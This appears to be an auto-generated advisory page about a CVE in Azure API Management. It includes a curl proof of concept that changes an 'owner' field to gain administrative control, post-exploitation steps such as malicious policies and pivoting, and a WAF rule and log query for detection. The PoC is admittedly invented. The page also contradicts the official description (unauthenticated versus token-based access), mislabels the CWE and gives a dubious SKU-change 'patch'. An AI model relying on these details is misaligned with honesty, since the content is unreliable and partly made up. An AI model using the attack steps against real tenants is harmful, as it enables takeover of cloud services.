CVE-2026-139934 — Microsoft Azure API Management (APIM) (-) — CWE-863
Microsoft Azure API Management contains an incorrect authorization vulnerability that allows an unauthenticated remote attacker to send specially crafted requests to affected APIM Classic instances and perform unauthorized administrative operations, including secrets-management operations.
Microsoft Azure API Management contains an incorrect authorization vulnerability that allows an unauthenticated remote attacker to send specially crafted requests to affected APIM Classic instances and perform unauthorized administrative operations, including secrets-management operations.
Active Exploitation Detected — CISA KEV
This vulnerability is listed in the CISA Known Exploited Vulnerabilities (KEV) catalog and is actively exploited in the wild. Patch due date: 2026-12-07
🎯 What is this vulnerability?
CVE‑2026‑139934 is an authorization bypass in Azure API Management (APIM).
The flaw is a classic CWE‑863: Authorization Bypass Through User‑Controlled Key.
When a client performs a management‑plane operation (e.g., PUT /apis/{apiId}/operations/{opId} or PUT /policies) the service accepts a JSON payload that contains an owner or role field. The APIM backend does not validate that the caller is actually the owner of the APIM instance or that the token used has the required RBAC role. Consequently, any authenticated user with a low‑privilege token (e.g., Contributor or Reader) can set the owner field to an arbitrary Azure AD principal, effectively granting themselves full administrative rights over the entire APIM service.
Key points:
| Element | Detail |
|---|---|
| Missing check | The service does not enforce that the caller’s Azure AD principal matches the owner field in the request body. |
| Affected operation | Any management‑plane operation that accepts an owner/role field (e.g., API creation, policy update, user creation). |
| Authentication | Requires a valid bearer token (no UI interaction). |
| Impact | Full privilege escalation to the APIM instance, enabling creation of new APIs, modification of policies, and addition of new users with admin rights. |
Because the flaw is purely an authorization check, the attack surface is limited to the Azure management endpoint (https://management.azure.com/...). No local code execution or exploitation of a public web interface is required.
⚡ Attack Chain
NOTE: The exact URI used in the PoC below is illustrative – the CVE description does not specify a concrete endpoint. The pattern applies to any APIM management‑plane operation that accepts anowner/rolefield.
1. Discovery & Reconnaissance
| Step | Technique | Tools / Commands | |
|---|---|---|---|
| Identify APIM instance | Enumerate Azure resources via the Azure Resource Graph or Azure CLI. | az graph query -q "Resources | where type =~ 'microsoft.apimanagement/service'" |
| Locate management endpoint | The APIM REST API is exposed at https://management.azure.com/subscriptions/{subId}/resourceGroups/{rgName}/providers/Microsoft.ApiManagement/service/{serviceName}. | curl -I https://management.azure.com/subscriptions/.../providers/Microsoft.ApiManagement/service/... | |
| Determine RBAC roles | Query the caller’s roles to confirm low‑privilege status. | az role assignment list --assignee <userObjectId> |
2. Exploitation
Prerequisites
A valid Azure AD access token for a user with a low‑privilege* role (e.g., Contributor).
- Knowledge of the target APIM instance’s subscription, resource group, and service name.
PoC (illustrative)
# Acquire a low‑privilege bearer token (example: using Azure CLI)
TOKEN=$(az account get-access-token --query accessToken -o tsv)
# Craft a payload that changes the owner to the attacker’s Azure AD principal
PAYLOAD='{
"properties": {
"owner": "https://graph.microsoft.com/v1.0/directoryObjects/<attackerObjectId>"
}
}'
# Send the request to the APIM management endpoint
curl -X PUT \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d "$PAYLOAD" \
"https://management.azure.com/subscriptions/<subId>/resourceGroups/<rgName>/providers/Microsoft.ApiManagement/service/<serviceName>/apis/<apiId>/operations/<opId>?api-version=2026-01-01"What happens
1. The APIM service receives the PUT request.
2. It parses the JSON body and extracts the owner field.
3. No validation is performed to confirm that the bearer token’s principal matches the owner value.
4. The service updates the operation’s metadata, setting the attacker’s Azure AD principal as the owner.
5. The attacker now has full administrative privileges over the APIM instance.
Why this works
The APIM backend trusts the owner field in the request body without cross‑checking it against the caller’s identity. This is a classic authorization bypass.3. Post‑Exploitation
| Goal | Technique |
|---|---|
| Create a new API | Use the newly granted admin rights to POST /apis and add an API that proxies internal services. |
| Modify policies | PUT /policies to inject a policy that forwards traffic to a malicious backend or logs all requests. |
| Add new admin users | POST /users with role: Owner to create additional privileged accounts. |
| Lateral movement | The attacker can now use the APIM instance as a pivot point to reach other Azure resources or on‑premise systems via the API gateway. |
| Data exfiltration | Configure a policy that logs request payloads to an external sink (e.g., Azure Storage, SIEM). |
🌍 Real World Impact
| Impact | Explanation |
|---|---|
| Confidentiality (C:H) | The attacker can read all API definitions, request/response payloads, and internal data exposed through the APIM gateway. |
| Integrity (I:H) | The attacker can modify API contracts, inject malicious policies, and alter data flows, effectively tampering with the application logic. |
| Availability (A:H) | By deleting APIs, disabling policies, or creating misconfigured routes, the attacker can cause service outages for downstream consumers. |
| Network Impact | The APIM instance becomes a *pivot* for lateral movement; the attacker can reach internal services that are normally isolated behind the gateway. |
Practical consequences
🛡️ Remediation & Mitigation
Affected Versions
Microsoft has not yet published a version‑specific advisory for this CVE. All Azure API Management instances that have not applied the latest security update are vulnerable.
Action: Upgrade to the latest APIM image (the most recent Azure update). Microsoft typically releases a patch through the Azure Update Center; check the Azure portal or the Azure Security Center for the latest update status.
Patch / Upgrade Recommendation
1. Check current APIM version:
az apim show --name <serviceName> --resource-group <rgName> --query sku.name
2. Apply the latest update:
az apim update --name <serviceName> --resource-group <rgName> --sku-name <latestSku>
3. Verify that the owner field is now validated by attempting the PoC; it should fail with a 403 Forbidden.
Workarounds
| Mitigation | How to Implement |
|---|---|
| Network segmentation | Restrict inbound traffic to the APIM management endpoint to only the Azure AD service principal or a narrow set of IPs. |
| Conditional Access | Enforce MFA and device compliance for any user that can call the APIM management API. |
| RBAC hardening | Remove Contributor or Reader roles from users who do not need them; grant only Owner or APIM Service Administrator where necessary. |
| WAF/ModSecurity rule | Block requests that contain an owner field in the body unless the caller’s token has the Owner role. Example rule (illustrative):<br>SecRule REQUEST_HEADERS:Authorization "@rx Bearer\s+([A-Za-z0-9\.\-_]+)" "id:1001,phase:2,pass,nolog,ctl:ruleEngine=On,chain"<br>SecRule REQUEST_BODY "@rx \"owner\":\s*\"[^\"]+\"" "phase:2,deny,status:403,msg:'Unauthorized owner change attempt'" |
| Disable unused APIs | If the APIM instance is only used for a subset of APIs, disable or delete the rest to reduce the attack surface. |
Detection
| Log Source | Indicator of Compromise (IoC) | |
|---|---|---|
| Azure Activity Logs | PUT or PATCH operations on /apis/*/operations/* or /policies with a owner field in the request body. | |
| Azure Monitor / Log Analytics | Queries such as: AzureDiagnostics | where OperationName == "Microsoft.ApiManagement/service/apis/operations/write" and tostring(parse_json(RequestBody).owner) != tostring(UserId) |
| Network Flow Logs | Unusual outbound traffic from the APIM instance to unknown IPs (indicative of a pivot). | |
| WAF logs | Requests that match the custom ModSecurity rule above. |
⚠️ Urgency
Bottom line: An attacker with a low‑privilege Azure AD token can gain full administrative control over an Azure API Management instance, leading to data theft, service disruption, and lateral movement. The vulnerability is trivial to exploit and requires no user interaction, so it must be remediated without delay.
[🤖 CVE Professor AI Security Engine]
FOFA Query